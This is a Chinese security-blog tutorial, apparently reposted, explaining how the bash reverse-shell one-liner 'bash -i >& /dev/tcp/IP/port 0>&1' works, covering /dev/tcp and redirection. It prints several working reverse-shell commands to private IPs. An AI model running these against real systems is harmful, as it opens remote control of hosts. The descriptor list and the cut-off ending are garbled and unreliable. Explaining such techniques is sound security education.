Linux***之反弹Shell命令解析

chriszg

　　本文由安全客原创发布
　　如若转载，请注明出处： https://www.anquanke.com/post/id/85712
　　安全客 - 有思想的安全新媒体
　　前言
　　当我们在***Linux主机时，反弹一个交互的shell是非常有必要的。在搜索引擎上搜索关键字“Linux 反弹shell”，会出现一大堆相关文章，但是其内容不但雷同，而且都仅仅是告诉我们执行这个命令就可以反弹shell了，却没有一篇文章介绍这些命令究竟是如何实现反弹shell的。既然大牛们懒得科普，那我就只好自己动手了。本文就来探讨一下相关命令实现的原理。
　　Bash
　　这篇文章的起因就是网上给的Bash反弹shell的实现：
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1　　看到这短短的一行代码，正在复习Linux，自我感觉良好的我顿时充满了挫败感，这都是些什么鬼。于是决定一定要搞明白它。
　　首先，bash -i是打开一个交互的bash，这个最简单。我们先跳过“>&”和“0>&1”，这两个是本文重点，等会再说。先来说“/dev/tcp/”。
　　/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用，建立一个socket连接，读写这个文件就相当于在这个socket连接中传输数据。同理，Linux中还存在/dev/udp/。
　　要想了解“>&”和“0>&1”，首先我们要先了解一下Linux文件描述符和重定向。
　　linux shell下常用的文件描述符是：
　　1.  标准输入   (stdin) ：代码为 0 ，使用 < 或  或 >> ；
　　3.  标准错误输出(stderr)：代码为 2 ，使用 2> 或 2>>。
　　很多资料都会告诉我们，2>&1是将标准错误输出合并到标准输出中，但是这四个符号具体要如何理解呢？我刚开始直接将2>看做标准错误输出，将&看做and，将1看做标准输出。这样理解好像也挺对，但是如果是这样的话0>&1又该如何理解呢？
　　其实&根本就不是and的意思，学过C/C++的都知道，在这两门语言里，&是取地址符。在这里，我们也可以将它理解为取地址符。
　　好了，基本知识说完了，下面我们就探讨一下困扰了我一天的“>&”究竟是什么意思。首先，我在查资料的过程中虽然没有查到“>&”究竟是什么，但是有一个跟它长得很像的符号却被我发现了，那就是“&>”，它和“2>&1”是一个意思，都是将标准错误输出合并到标准输出中。难道“>&”和“&>”之间有什么不为人知的交易？让我们来动手测试一下。

　　从图片中我们可以看到，在这里&quot;>&&quot;和“&>”作用是一样的，都是将标准错误输出定向到标准输出中。
　　既然如此，那么我们就把他俩互换试试看，究竟结果一不一样。
　　我在虚拟机里执行
bash -i >& /dev/tcp/10.0.42.1/1234　　结果如下图所示，虽然命令和结果都在我本机上显示出来了，但实际上命令并不是在本机上输入的，而是只能在虚拟机里面输入，然后命令和结果都在我本机上显示。

　　我们再执行
bash -i &> /dev/tcp/10.42.0.1/1234　　效果是一样的，就不上图了。所以由实践可知，“>&”和我们常见的“&>”是一个意思，都是将标准错误输出重定向到标注输出。
　　好了，一个问题已经解决，下一个就是“0>&1”。我们都知道，标准输入应该是“0”，难道这个跟上一个问题样都是同一个命令的不同写法？让我们试一下“0&1”和“0 /dev/tcp/10.42.0.1 0